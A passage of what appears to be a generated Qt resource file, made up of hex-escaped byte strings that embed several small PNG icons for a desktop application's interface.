c4\\\n\\x49\\xec\\xd4\\xee\\x8f\\xd4\\x2a\\xa0\\x02\\x29\\x88\\xb6\\xa1\\x2d\\xa9\\xd2\\\n\\xd2\\x88\\x2a\\xd4\\xf6\\xee\\xce\\x1c\\x2e\\x6c\\x37\\x6b\\x7b\\x7e\\x76\\xd7\\\n\\x2b\\x71\\xe3\\xf7\\x6a\\xe6\\xbc\\xe7\\x3b\\xe7\\x3d\\x3a\\x73\\xe6\\x9b\\x6f\\\n\\x60\\x16\\xb3\\x98\\xc5\\x2c\\xfe\\x9f\\x10\\x37\\x22\\x7d\\xf2\\xc5\\x1b\\xd5\\\n\\xb0\\x9e\\x14\\xe5\\xe8\\x68\\xd0\\x7a\\x7c\\x6d\\x38\\xfc\\x7e\\x39\\x13\\x47\\\n\\x5b\\x3b\\xaa\\x55\\xa5\\x11\\x61\\x09\\xb0\\x50\\xe1\\xdf\\xc0\\x5b\\x6a\\xdb\\\n\\x8f\\x74\\xef\\xda\\xfe\\x72\\xa1\\x71\\x5c\\x0b\\xe8\\x3d\\x35\\x78\\x1e\\xb8\\\n\\x61\\xfc\\x76\\x44\\xe1\\x29\\xc5\\xde\\xbf\\xa6\\x76\\xe5\\x1f\\x67\\x22\\x7c\\\n\\xfd\\x8e\\x7d\\xd7\\x04\\xcc\\xdc\\x13\\xc0\\x9d\\xd3\\xd5\\x48\\x67\\x6a\\x67\\\n\\xd3\\xf7\\x41\\xb4\\xd0\\x78\\x86\\x2b\\xa3\\x1c\\xc9\\xbb\\x9b\\x23\\xf0\\x2d\\\n\\x03\\xe3\\x5c\\x6f\\xdf\\xd0\\x3d\\xc5\\x08\\xce\\x47\\xa4\\xa5\\xe3\\x8b\\x01\\\n\\x33\\xf7\\x22\\x0e\\xe2\\x05\\xf6\\x17\\x2b\\x1e\\x3c\\x0a\\xb0\\x82\\x56\\x27\\\n\\x90\\x99\\x46\\x88\\x3e\\x71\\x74\\x60\\xe0\\x9a\\x62\\x92\\x00\\x6c\\x68\\x4e\\\n\\xce\\x55\\xe4\\x69\\x60\\xa1\\x03\\xfd\\x58\\x57\\x22\\xf6\\x83\\x62\\xc5\\x83\\\n\\x47\\x01\\xf7\\x86\\xc3\\x17\\x81\\xdf\\x38\\x50\\xf3\\x03\\x59\\xf3\\x40\\xb1\\\n\\x89\\x02\\x95\\xfa\\x80\\x08\\x8b\\xa7\\x11\\xc2\\x4f\\x53\\x89\\x58\\x53\\xb1\\\n\\xf1\\x26\\xe0\\xfe\\x08\\x01\\x82\\xf1\\x0b\\x27\\xbb\\x0a\\x77\\x1d\\x3b\\x3d\\\n\\x18\\x29\\x26\\x91\\x22\\xf5\\x4e\\xf6\\x40\\x2e\\xe8\\x98\\x23\\x1f\\x91\\xd6\\\n\\x8e\\x95\\x6e\\x9c\\x67\\x01\\x75\\xb5\\x4b\\x07\\x41\\x36\\x01\\x97\\xa7\\x72\\\n\\xa2\\x1c\\x48\\x9f\\x7a\\x7e\\x8d\\x5f\\xf2\\x09\\x28\\x7c\\xc1\\xc9\\x6e\\x99\\\n\\xb9\\x6f\\x78\\xad\\x8b\\xb6\\x25\\xdb\\x05\\x79\\xdc\\x8d\\xf7\\x2c\\x00\\xa0\\\n\\xbe\\x76\\x59\\x77\\x26\\x60\\xdd\\x80\\x4c\\x7b\\x9c\\x82\\x8a\\xf4\\xf4\\x9e\\\n\\x1a\\xda\\xe8\\x17\\x03\\x40\\x60\\xd4\\xc9\\xae\\xe8\\x8e\\x48\\x7c\\xdf\\xa7\\\n\\x9d\\xb8\\x48\\x5b\\x32\\xae\\xca\\x23\\x0a\\x8b\\x40\\x1d\\xdf\\x98\\xbe\\x05\\\n\\x00\\xac\\x0d\\x87\\xdf\\xaf\\xaf\\x59\\xbe\\x56\\x90\\xcd\\x40\\x36\\x8f\\x32\\\n\\x41\\x0f\\xa6\\xfb\\x86\\x1a\\x0a\\x08\\xf3\\x0f\\x17\\xfb\\x22\\xac\\xdc\\xd1\\\n\\x8d\\x0f\\xef\\x9e\\x3f\\x49\\x7c\\x4b\\xb2\\x15\\xe5\\x27\\xe3\\xb7\\x15\\x6e\\\n\\x03\\xee\\xba\\x0f\\xb8\\x21\\x7d\\x7a\\xe8\\x0e\\x55\\x3d\\x06\\xcc\\xc9\\x33\\\n\\x5b\\x22\\xba\\xb9\\xae\\x66\\xc5\\x93\\x6e\\xeb\\x22\\x6d\\xc9\\x3d\\x28\\xdb\\\n\\x3d\\x42\\xbf\\x0d\\xb2\\x07\\xd3\\x7e\\x5a\\x72\\x12\\x55\\x61\\x77\\x1e\\x77\\\n\\x31\\x95\\x88\\x7d\\xce\\x69\\x51\\x41\\x1d\\xc8\\x47\\x5d\\xcd\\xb2\\xe7\\x18\\\n\\x1b\\xc8\\x91\\x3c\\xb3\\xa9\\x2a\\x87\\xbc\\x06\\x5b\\xe0\\x75\\x9f\\xd0\\x0b\\\n\\x40\\x3b\\xb1\\xe4\\xe2\\x14\\xf1\\x28\\x0c\\xba\\x2d\\x2a\\xba\\x00\\x80\\xfa\\\n\\xda\\x65\\x27\\x54\\xa9\\x03\\x86\\xf3\\x63\\x89\\x72\\x28\\xdd\\xf7\\xfc\\x96\\\n\\xa9\\xfe\\x0d\\x0d\\x3d\\xa6\\xaa\\xc3\\xce\\x5b\\x20\\x44\\xb5\\xcb\\x95\\x2b\\\n\\x35\\x28\\xc0\\xb1\\xbe\\xc1\\xdb\\x44\\xe8\\x05\\x2a\\xf3\\xcc\\xaa\\xca\\xf7\\\n\\xea\\x3f\\xac\\xfe\\x2b\\x1f\\x59\\xc7\\x81\\xe0\\xe1\\x8f\\xeb\\x5f\\x3e\\x75\\\n\\x69\\xd9\\xd2\\x12\\xd3\\xf4\\xa7\\x12\\xcd\\x35\\x6e\\x33\\x50\\x52\\x07\\x26\\\n\\x70\\xcf\\x2d\\xcb\\x7f\\x2f\\xb6\\x4e\\xed\\x84\\xcc\\xb3\\xcf\\x77\\xea\\x7f\\\n\\xec\\x3e\\xb2\\x3a\\x87\\xac\\x9a\\xeb\\xaa\\x7e\\xbb\\xd4\\x14\\xab\\x94\\x14\\\n\\xef\\x59\\x4a\\xd4\\x6b\\x87\\x9e\\x51\\x01\\x00\\x75\\xb7\\xae\\xf8\\x83\\x28\\\n\\x77\\x00\\x57\\x00\\xe6\\xea\\xbb\\xac\\x7c\\x67\\xab\\x48\\xce\\xfe\\x24\\x76\\\n\\x20\\x9b\\xe5\\x9b\\x9f\\x3d\\x51\\x54\\x5c\\x55\\x5e\\xb3\\x4d\\xa3\\xfa\\x70\\\n\\x7b\\xec\\x4d\\x2f\\xbf\\x19\\x17\\x00\\x50\\x77\\xcb\\xf2\\x01\\x51\\xee\\x9c\\\n\\x9f\\xfb\\xd3\\x70\\xed\\x85\\x46\\x8c\\xd1\\x29\\xaf\\xfc\\xb9\\x06\\x37\\x5d\\\n\\xfb\\x1a\\x21\\xf3\\xea\\xa7\\x95\\x20\\x1d\\x8a\\xb5\\x58\\x45\\xd6\\x23\\xf2\\\n\\x33\\x41\\x4e\\x03\\xaf\\x00\\xbf\\x13\\x65\\x8b\\x3d\\xc2\\xcd\\xdd\\xf1\\xa6\\\n\\xbf\\xf9\\xe5\\x9e\\xd1\\x0c\\xe4\\x43\\x9f\\x09\\x7e\\x8d\\x0f\\xac\\x21\\x32\\\n\\x76\\x60\\x12\\x51\\x65\\xc0\\x82\\x20\\x18\\xd0\\xfb\\x46\\x2d\\xe9\\x37\\x6a\\\n\\x01\\xd9\\x93\\x4a\\x34\\x3f\\x5c\\x8e\\xbc\\x01\\x7f\\x97\\x02\\x71\\xd9\\x3a\\\n\\x39\\x4d\\x7c\\xe5\\x55\\xf1\\x00\\x77\\x2f\\x3a\\xc3\\x88\\x5d\\xf1\\xcc\\xba\\\n\\xcd\\xe9\\xb2\\x88\\x87\\x72\\x76\\xe0\\xa0\\x64\\xc9\\xea\\xd5\\x02\\xaa\\x26\\\n\\x8b\\xcf\\xc3\\x30\\x2a\\xb7\\xcb\\xaa\\x91\\xb3\\xe5\\xc8\\x5b\\x96\\x19\\xd8\\\n\\x18\\x4f\\xde\\xd8\\x79\\x79\\xc3\\x95\\x6c\\x30\\x38\\x66\\x70\\x17\\x0f\\x50\\\n\\x89\\xe8\\x09\\xed\\x0f\\xdd\\x5d\\x8e\\xdc\\x33\\xee\\x40\\xb4\\x35\\x79\\x93\\\n\\xc2\\x71\\x60\\x9e\\x69\\x58\\x34\\x7c\\xe6\\x38\\x4b\\xae\\xfd\\x0b\\xf3\\x2a\\\n\\x3f\\xf2\\x5b\\x9a\\x43\\x79\\x50\\x56\\x8d\\xfa\\x7e\\x4e\\x7b\\x61\\x46\\x05\\\n\\x44\\x5b\\x92\\xb5\\xb6\\x90\\x16\\xf8\\x54\\xbe\\x3d\\x64\\x66\\x58\\x73\\xdd\\\n\\x49\\x56\\x2f\\x78\\x01\\xf1\\x3f\\x64\\xfd\\x1c\\x7b\\xf4\\x21\\xa9\\x21\\x57\\\n\\x8a\\x86\\x92\\x0b\\xd8\\xd4\\xd2\\x71\\x9b\\x88\\x1c\\x03\\xaa\\xdc\\x7c\\x6e\\\n\\x5d\\xf8\\xd2\\x9b\\x8d\\xd7\\x3f\\xfb\\x79\\xa0\\xc2\\x27\\x5c\\x3f\\xb6\\xb1\\\n\\x5e\\x6a\\x86\\xdf\\x29\\x56\\x47\\x49\\x33\\x10\\x69\\xd9\\xbb\\x46\\x44\\x9e\\\n\\xc5\\x43\\x3c\\xc8\\x9f\\x07\\xde\\xbd\\x79\\x09\\x4a\\x3d\\x93\\x3f\\xc1\\x9d\\\n\\x50\\x8d\\x61\\x9d\\xd3\\x81\\x0a\\xc7\\x53\\x9b\\x17\\x8a\\xee\\xc0\\xa6\\xd6\\\n\\x8e\\x8d\\x82\\x1c\\x02\\x4c\\x0f\\xb7\\xd7\\x2d\\x93\\xf0\\xe1\\x78\\xec\\x12\\\n\\x80\\x0e\\x54\\xd4\\xa1\\x72\\xd4\\x67\\xcd\\xb8\\x22\\x3d\\x8c\\x95\\xd9\\x2a\\\n\\x35\\x63\\x3b\\xbb\\x1f\\x8a\\xea\\x40\\xb4\\x75\\xef\\xb7\\x0b\\x10\\x7f\\x41\\\n\\x6c\\x63\\xf5\\x84\\x78\\x00\\x09\\x67\\xd2\\xa8\\xb6\\x15\\x94\\x44\\x65\\x03\\\n\\x46\\xe8\\x05\\x3d\\x1b\\xba\\xbe\\x10\\xf7\\x82\\x0b\\x88\\xb6\\xec\\x7d\\x48\\\n\\xd1\\x03\\x78\\x8b\\x7f\\x0f\\xd5\\xd5\\x5d\\xbb\\x9a\\xde\\x9e\\x4a\\xc8\\xaa\\\n\\xcc\\x6e\\x90\\x5f\\x17\\x98\\x6e\\x31\\x36\\xe7\\xf4\\xcc\\x9c\\xa8\\x9f\\x63\\\n\\x41\\x05\\x44\\xda\\x92\\x71\\x15\\x7d\\x0c\\xef\\x47\\xee\\x43\\xdb\\xe4\\xf6\\\n\\x54\\xfb\\xb6\\xbf\\xbb\\x7a\\x84\\x46\\xbe\\x0b\\xb8\\xf3\\x93\\x51\\x89\\xe8\\\n\\x41\\x1d\\x08\\xfd\\xd0\\xcb\\xc9\\x67\\x06\\x54\\x22\\xad\\x8f\\xee\\x06\\xfd\\\n\\xb1\\x4f\\xb2\\x61\\x41\\xbf\\xde\\x95\\xd8\\xd6\\xef\\xa7\\x4a\\xcf\\x06\\xbf\\\n\\x8a\\x6d\\x0c\\xe1\\xff\\x66\\x9a\\x80\\x85\\xd8\\x4b\\x24\\x9c\\x7d\\xd5\\x89\\\n\\x74\\x2d\\x20\\x1e\\x8f\\x1b\\x6f\\xe5\\xaa\\xba\\x11\\x69\\xf4\\x49\\x90\\xb1\\\n\\x45\\xea\\xbb\\x77\\x36\\x1f\\x2f\\x50\\x10\\x7a\\x26\\xf4\\x23\\x84\\x47\\x0b\\\n\\xf5\\x47\\x39\\x22\\xab\\x46\\x1d\\x7f\\x1c\\xb8\\x3e\\x42\\x17\\x72\\x55\\xf7\\\n\\x8f\\x8b\\xb7\\x51\\xfd\\xa5\\x40\\x0f\\x30\\x75\\x57\\xb2\\x44\\xa5\\xb1\\x18\\\n\\xf1\\x00\\x54\\x8f\\xee\\x63\\x6c\\xf7\\x2e\\x0c\\x82\\xeb\\x69\\xce\\xb5\\x00\\\n\\x15\\x1e\\x00\\x50\\x78\\x2a\\xd5\\xbe\\x6d\\x7d\\x57\\x22\\x76\\x1f\\x2a\\x3d\\\n\\x93\\x5c\\x84\\xef\\x74\\xb5\\x37\\x1f\\x71\\x09\\xe1\\xae\\x47\\x50\\x02\\xc1\\\n\\x08\\xf0\\xaf\\x02\\x97\\x38\\xfe\\x53\\x02\\xcf\\x21\\x96\\xeb\\x00\\x24\\xdf\\\n\\x47\\xf4\\x93\\x0e\\xa8\\x4a\\xac\\x6b\\x67\\xcc\\xf5\\xb0\\xed\\x07\\x59\\x7e\\\n\\xe5\\x12\\xc8\\x3a\\x28\\xe8\\x13\\xe2\\x39\\xd7\\x38\\x6e\\x44\\xa4\\x35\\x79\\\n\\x0e\\xf8\\x32\\xa0\\xa8\\xf4\\x88\\xa8\\x28\\x34\\x8c\\xad\\x29\\xdf\\x81\\x44\\\n\\xfb\\x2b\\xb6\\x83\\xec\\xf1\\x70\\xb9\\x84\\x98\\x5f\\x91\\xf0\\xc7\\x17\\x9d\\\n\\x48\\x8f\\x0e\\xe8\\xfe\\xf1\\x0b\\x41\\xf4\\x3e\\x85\\xb5\\x8c\\x75\\xff\\x40\\\n\\x2a\\xd1\\xb4\\xa3\\x64\\xc5\\x53\\x11\\xce\\x74\\x80\\x76\\xbb\\xb0\\x1f\\xa0\\\n\\xf6\\x5d\\x6e\\xe2\\xc7\\xc4\\x79\\x20\\xda\\xb6\\x77\\x93\\xda\\xfa\\x20\\xc2\\\n\\x02\\xe0\\x3c\\x68\\x2a\\x95\\x88\\x75\\x95\\xf2\\x1f\\xdf\\x0b\\xaa\\x08\\xfd\\\n\\xa1\\x2d\\x08\\x5b\\x81\\x2f\\x01\\xff\\x05\\x7e\\x85\\x69\\xec\\x92\\x15\\xc3\\\n\\xff\\x2c\\x67\\xae\\x59\\xcc\\x62\\x16\\xb3\\x28\\x2f\\xfe\\x07\\x79\\xff\\x26\\\n\\xdf\\xc8\\x58\\x98\\x5a\\x00\\x00\\x00\\x00\\x49\\x45\\x4e\\x44\\xae\\x42\\x60\\\n\\x82\\\n\\x00\\x00\\x01\\x32\\\n\\x89\\\n\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\\n\\x00\\x00\\x18\\x00\\x00\\x00\\x18\\x08\\x06\\x00\\x00\\x00\\xe0\\x77\\x3d\\xf8\\\n\\x00\\x00\\x00\\x09\\x70\\x48\\x59\\x73\\x00\\x00\\x0b\\x13\\x00\\x00\\x0b\\x13\\\n\\x01\\x00\\x9a\\x9c\\x18\\x00\\x00\\x00\\x07\\x74\\x49\\x4d\\x45\\x07\\xe1\\x0a\\\n\\x11\\x0c\\x21\\x2f\\x9d\\x8d\\x9b\\x02\\x00\\x00\\x00\\xd1\\x49\\x44\\x41\\x54\\\n\\x48\\xc7\\xed\\x95\\x4b\\x0e\\x82\\x40\\x0c\\x86\\xbf\\x8a\\x07\\x11\\x57\\x72\\\n\\x0b\\xd9\\xaa\\xf7\\xd0\\x83\\xb0\\x16\\x0f\\x82\\x6b\\xe5\\x18\\xb8\\xd0\\x2b\\\n\\xe8\\x0d\\x48\\xc6\\x64\\xdc\\x74\\x41\\x08\\x32\\x3c\\x24\\x26\\x4a\\x93\\xa6\\\n\\x99\\xbe\\xfe\\x45\\xfb\\x77\\xc4\\x5a\\xcb\\x90\\x32\\x61\\x60\\xf9\\x23\\x00\\\n\\x11\\x99\\x8a\\xc8\\x4e\\x44\\x6e\\x6a\\xbd\\x46\\x85\\xd6\\x5a\\xa7\\x02\\x21\\\n\\x70\\x01\\x6c\\x41\\x33\\x20\\x74\\xd6\\x3a\\x1a\\xcf\\x81\\xa3\\x36\\x34\\xc0\\\n\\x1e\\x98\\x01\\xb1\\xbe\\xad\\xc6\\xfd\\xd6\\x00\\x40\\x04\\xe4\\xda\\xe4\\x04\\\n\\x2c\\x4a\\xf1\\x00\\x38\\x6b\\x3c\\x07\\xa2\\xb6\\x00\\x06\\xb8\\x03\\xab\\x9a\\\n\\x1c\\x01\\xd6\\x9a\\x67\\xba\\x00\\xa4\\x0d\\x67\\x94\\xbe\\x03\\x18\\x89\\xf6\\\n\\x7d\\x00\\xd7\\x90\\x1f\\xba\\x25\\x52\\xb3\\x45\\x1b\\xcd\\x33\\x7d\\x79\\x10\\\n\\x7c\\x94\\x07\\xda\\xc4\\x07\\x92\\x02\\x93\\x63\\xf5\\x1d\\x80\\xa7\\xfa\\x93\\\n\\x4e\\x4c\\xae\\xb8\\x45\\x59\\xc5\\x2d\\x5a\\xf6\\xba\\x45\\x25\\x10\\x0f\\xd8\\\n\\x02\\x57\\xb5\\x5e\\x93\\x3a\\x19\\xbf\\xcc\\xdf\\x07\\x78\\x01\\xc7\\x08\\x19\\\n\\x2b\\x43\\x60\\xe6\\x74\\x00\\x00\\x00\\x00\\x49\\x45\\x4e\\x44\\xae\\x42\\x60\\\n\\x82\\\n\\x00\\x00\\x01\\x6c\\\n\\x89\\\n\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\\n\\x00\\x00\\x18\\x00\\x00\\x00\\x18\\x08\\x06\\x00\\x00\\x00\\xe0\\x77\\x3d\\xf8\\\n\\x00\\x00\\x00\\x09\\x70\\x48\\x59\\x73\\x00\\x00\\x0b\\x13\\x00\\x00\\x0b\\x13\\\n\\x01\\x00\\x9a\\x9c\\x18\\x00\\x00\\x00\\x07\\x74\\x49\\x4d\\x45\\x07\\xe1\\x0a\\\n\\x11\\x0c\\x17\\x21\\xf3\\x29\\x27\\x70\\x00\\x00\\x01\\x0b\\x49\\x44\\x41\\x54\\\n\\x48\\xc7\\xed\\xd5\\x3b\\x4a\\x83\\x41\\x10\\xc0\\xf1\\xdf\\x98\\x20\\x9a\\x2e\\\n\\xa9\\xc5\\x13\\x68\\x6f\\xa1\\x78\\x05\\x1f\\x47\\x50\\xf1\\x08\\x3e\\xae\\x10\\\n\\xf4\\x02\\x82\\x88\\x78\\x16\\x11\\xb1\\x8f\\xc4\\x56\\x41\\xc1\\x22\\xa0\\x85\\\n\\x10\\xc2\\xda\\xac\\xf0\\xa1\\x92\\x60\\xbe\\x2f\\xd8\\x64\\x61\\x60\\x99\\x1d\\\n\\xe6\\x3f\\x3b\\x8f\\xdd\\x48\\x29\\x99\\xe4\\x9a\\x31\\xe1\\x35\\x05\\x8c\\x07\\\n\\x88\\x88\\xd5\\x88\\xb8\\x8a\\x88\\xf5\\x88\\x88\\x52\\x84\\x94\\xd2\\x0f\\x41\\\n\\x17\\x29\\xcb\\x2d\\xb6\\x51\\xfb\\xcd\\x76\\x94\\x0c\\x03\\x3c\\xe3\\x02\\xfd\\\n\\x0c\\x7a\\xc0\\x3e\\xe6\\xab\\x02\\x74\\xf3\\x7e\\x01\\x27\\x78\\xcb\\xa0\\x17\\\n\\x1c\\xa3\\x59\\x09\\xa0\\xa0\\x6b\\xe2\\x28\\xdf\\x2c\\xe1\\x1d\\xa7\\x58\\xac\\\n\\x04\\x50\\x38\\x9b\\xc3\\x5e\\xa1\\x4e\\x7d\\x5c\\x62\\xb9\\x12\\x40\\xc1\\xa6\\\n\\x86\\x2d\\xdc\\x14\\x1a\\x62\\xf3\\xbb\\xdd\\x4c\\x89\\xee\\x1b\\xe0\\x0e\\xf7\\\n\\x05\\xf5\\xec\\x5f\\xda\\xb4\\x3b\\x24\\xfa\\x16\\xda\\xf8\\xc8\\x91\\x5f\\x63\\\n\\xad\\x74\\x8a\\xd0\\xc0\\x21\\x7a\\xd9\\x71\\x07\\x1b\\x88\\x52\\x45\\x46\\x1d\\\n\\xbb\\x78\\xca\\x8e\\x1f\\xb1\\x83\\x7a\\xa9\\x36\\x45\\xe4\\x08\\x3b\\xd9\\x71\\\n\\x0f\\x07\\x68\\x54\\x31\\x68\\xaf\\x39\\xb7\\x29\\xe7\\xba\\x8d\\x56\\x95\\x4f\\\n\\x45\\xc2\\x00\\xe7\\xa3\\x86\\x69\\x1c\\xc0\\x0a\\xce\\xb0\\x34\\xae\\xe3\\x2f\\\n\\x89\\xe9\\x9f\\xfc\\xef\\x80\\x4f\\x4c\\x7b\\xc8\\x69\\x89\\x4a\\x96\\xdf\\x00\\\n\\x00\\x00\\x00\\x49\\x45\\x4e\\x44\\xae\\x42\\x60\\x82\\\n\\x00\\x00\\x00\\xcb\\\n\\x89\\\n\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\\n\\x00\\x00\\x18\\x00\\x00\\x00\\x18\\x08\\x06\\x00\\x00\\x00\\xe0\\x77\\x3d\\xf8\\\n\\x00\\x00\\x00\\x09\\x70\\x48\\x59\\x73\\x00\\x00\\x0b\\x13\\x00\\x00\\x0b\\x13\\\n\\x01\\x00\\x9a\\x9c\\x18\\x00\\x00\\x00\\x07\\x74\\x49\\x4d\\x45\\x07\\xe1\\x0a\\\n\\x11\\x0c\\x1f\\x06\\x9e\\xfa\\x18\\x13\\x00\\x00\\x00\\x6a\\x49\\x44\\x41\\x54\\\n\\x48\\xc7\\x63\\xfc\\xff\\xff\\x3f\\x03\\x2d\\x01\\x13\\x03\\x8d\\xc1\\xd0\\xb7\\\n\\x80\\x05\\x9b\\x20\\x23\\x23\\xe3\\x2e\\x06\\x06\\x06\\x05\\x32\\xcc\\x7b\\xf0\\\n\\xff\\xff\\x7f\\x37\\x62\\x7c\\xa0\\xc0\\xc0\\xc0\\xa0\\x48\\xa2\\xe1\\x8a\\xd8\\\n\\x1c\\xc5\\x82\\x47\\xc3\\xfd\\xff\\xff\\xff\\xab\\x11\\x6b\\x3a\\x23\\x23\\xe3\\\n\\xad\\xd1\\x54\\x34\\x6a\\xc1\\xa8\\x05\\x23\\xaa\\xb0\\x83\\x95\\x2d\\xb8\\xb2\\\n\\x3f\\x9e\\xb2\\xe8\\x3e\\xb1\\x16\\x3c\\x20\\xc3\\xb1\\xf7\\xb1\\xe9\\x63\\x1c\\\n\\xad\\x32\\x87\\xbf\\x05\\x00\\x96\\x18\\x15\\x2f\\xde\\x1e\\xfb\\xe3\\x00\\x00\\\n\\x00\\x00\\x49\\x45\\x4e\\x44\\xae\\x42\\x60\\x82\\\n\\x00\\x00\\x01\\x09\\\n\\x89\\\n\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\\n\\x00\\x00\\x18\\x00\\x00\\x00\\x18\\x08\\x06\\x00\\x00\\x00\\xe0\\x77\\x3d\\xf8\\\n\\x00\\x00\\x00\\x09\\x70\\x48\\x59\\x73\\x00\\x00\\x0b\\x13\\x00\\x00\\x0b\\x13\\\n\\x01\\x00\\x9a\\x9c\\x18\\x00\\x00\\x00\\x07\\x74\\x49\\x4d\\x45\\x07\\xe1\\x0a\\\n\\x11\\x0c\\x1e\\x16\\x9a\\x56\\x39\\x36\\x00\\x00\\x00\\xa8\\x49\\x44\\x41\\x54\\\n\\x48\\xc7\\xed\\x95\\x41\\x0a\\xc2\\x30\\x14\\x44\\xdf\\x14\\x41\\x3d\\x46\\x0b\\\n\\xde\\xa1\\x87\\xf0\\x00\\x9e\\x42\\x77\\x5d\\x78\\x01\\xbd\\x99\\x9e\\x41\\xa8\\\n\\x3d\\x46\\xbb\\x1b\\x37\\x5d\\x09\\x46\\x6d\\x13\\x44\\xc8\\x87\\x90\\x45\\x06\\\n\\xde\\xff\\xc3\\x24\\x91\\x6d\\x52\\x56\\x41\\xe2\\xca\\x80\\x3f\\x07\\x48\\xaa\\\n\\x93\\x01\\x24\\x6d\\x81\\x8b\\xa4\\x63\\x50\\x68\\xfb\\xeb\\x05\\xac\\x80\\x16\\\n\\xe8\\x81\\x32\\xa4\\x9d\\x3a\\x41\\x03\\x54\\xc0\\xd9\\x76\\x17\\x75\\x02\\xa0\\\n\\x1c\\x3b\\x6f\\x81\\xf5\\x3b\\xfd\\x22\\xe0\\xf1\\xed\\xc5\\xd1\\x66\\xdc\\x0f\\\n\\xb6\\xfb\\x9f\\xc7\\x74\\x8e\\x45\\xf7\\x4f\\x2c\\x2a\\x26\\x34\\xd4\\x01\\xa7\\\n\\x11\\xd4\\x44\\x9f\\xe0\\x29\\xa6\\x03\\x50\\x45\\x8f\\xa9\\xed\\x01\\xd8\\x03\\\n\\x4b\\x60\\x17\\xbc\\x90\\x73\\x3e\\x1c\\x49\\xb5\\xed\\x6b\\x32\\x40\\x7e\\xae\\\n\\x33\\x00\\x80\\x07\\x91\\xba\\x1a\\x22\\x5c\\xbf\\x80\\xe0\\x00\\x00\\x00\\x00\\\n\\x49\\x45\\x4e\\x44\\xae\\x42\\x60\\x82\\\n\\x00\\x00\\x03\\x51\\\n\\x89\\\n\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\\n\\x00\\x00\\x30\\x00\\x00\\x00\\x30\\x08\\x06\\x00\\x00\\x00\\x57\\x02\\xf9\\x87\\\n\\x00\\x00\\x03\\x18\\x49\\x44\\x41\\x54\\x68\\x43\\xed\\x9a\\xcf\\x4f\\x13\\x41\\\n\\x14\\xc7\\xbf\\x6f\\x81\\xb6\\x51\\x44\\x10\\x13\\xe3\\xc1\\x28\\x5e\\xbc\\x18\\\n\\x69\\x3d\\xc8\\x51\\x7e\\x68\\x63\\xbc\\x88\\xbf\\x6e\\x26\\xd0\\x8b\\x37\\x49\\\n\\x7b\\xb4\\x89\\xb1\\x5c\\x7a\\x31\\x86\\x46\\xfe\\x80\\xad\\x17\\x63\\xa2\\x28\\\n\\xde\\xb4\\xca\\x2f\\x13\\x0f\\x72\\x61\\xf1\\xa6\\x09\\x84\\x3b\\x07\\x0b\\x17\\\n\\x6d\\x95\\x3e\\xb3\\x85\\xc5\\xb6\\xce\\x76\\x67\\x81\\x5d\\xb6\\x66\\xf7\\xd6\\\n\\x9d\\x37\\x33\\xdf\\xcf\\x9b\\xf7\\x66\\xde\\x6e\\x97\\x60\\x72\\xdd\\xb8\\x97\\\n\\x1c\\xd6\\x9b\\x5e\\x8d\\xa7\\xb3\\x66\\x36\\x5e\\xb8\\x4f\\x22\\x11\\xba\\x78\\\n\\x85\\xa0\\xea\\x6d\\x25\\x46\\xcc\\xcb\\x10\\xff\\x00\\xdc\\x8e\\x27\\xc3\\xa5\\\n\\x12\\x66\\x08\\x68\\xd7\\x01\\x18\\xc8\\x2b\\x0a\\xfa\\x5e\\x64\\xd2\\x9a\\x17\\\n\\x3c\\x5e\\xab\\xa1\\x0a\\xa0\\x56\\xbc\\x61\\xec\\x65\\x88\\x6d\\x80\\xc1\\x78\\\n\\xaa\\xbd\\xb9\\x54\\x9c\\x01\\x10\\x36\\xf1\\xb4\\xf6\\x5b\\x09\\xf4\\x4d\\x66\\\n\\x52\\x79\\x2f\\xad\\x44\\x19\\x40\\x42\\xbc\\xa1\\xd9\\x73\\x10\\x65\\x80\\x9b\\\n\\x23\\xf7\\xb3\\x04\\x1a\\x92\\xf1\\x2c\\x33\\xb2\\x13\\xe3\\xe9\\x98\\x8c\\xad\\\n\\x1b\\x36\\x64\\x47\\xfc\\x76\\x4e\\x78\\x08\\x42\\xb8\\x8d\\xde\\x1a\\x49\\x72\\\n\\xa5\\xf7\\x5e\\x3e\\x49\\x0b\\xed\\xdc\\xf0\\xb0\\xd5\\x1c\\x3e\\x80\\x95\\x87\\\n\\x9c\\x6e\\xf7\\x57\\xc0\\x69\\x0f\\x5b\\x8d\\xff\\xff\\xae\\x40\\xa8\\xb5\\x03\\\n\\x5d\\xe7\\xa3\\x68\\x3d\\x72\\x0c\\xc1\\xd6\\x0e\\x2b\\x47\\x38\\xd3\\xce\\xbc\\\n\\x02\\x90\\xc6\\x81\\x40\\x22\\x11\\xa1\\x15\\xd1\\x24\\xc2\\x15\\xb8\\x93\\x7c\\\n\\xc4\\xe1\\xab\\x77\\xd1\\x1c\\x08\\x39\\x23\\xcc\\xfe\\xa8\\x79\\x6e\\x09\\x44\\\n\\x44\\x10\\x42\\x80\\x07\\x13\\x5f\\xb8\\xf3\\xc4\\x19\\xfb\\xd3\\x38\\xd8\\x83\\\n\\x19\\x6f\\x12\\x3d\\xc1\\xc1\\xba\\xd5\\xa8\\xd1\\xf8\\xf8\\xd3\\xfa\\x46\\x53\\\n\\x4b\\x50\\x71\\x50\\x8f\\xfd\\xa1\\x99\\x57\\xe2\\x3d\\xa1\\x2e\\x29\\x80\\xcc\\\n\\x7c\\xa1\\xea\\x24\\x8e\\x5f\\x08\\xee\\xcb\\x49\\x2c\\xa3\\x43\\x28\\x4c\\xa6\\\n\\xa3\\x7d\\x17\\xda\\xef\\x21\\xa3\\xc3\\x07\\xb0\\xef\\x57\\xf9\\x1e\\xfe\\x0a\\\n\\x18\\xbe\\xf2\\x93\\x58\\x3e\\x6a\\xaa\\x2c\\xfd\\x10\\xf2\\x43\\x68\\x87\\xa1\\\n\\x63\\x74\\x6b\\xa8\\x10\\x1a\\x50\\xa3\\x83\\xac\\xa0\\x9b\\x98\\x7a\\x19\\x5c\\\n\\x7e\\x37\\x75\\xf4\\xe0\\xb9\\xf6\\xce\\x03\\x67\\xd1\\x16\\x3a\\x8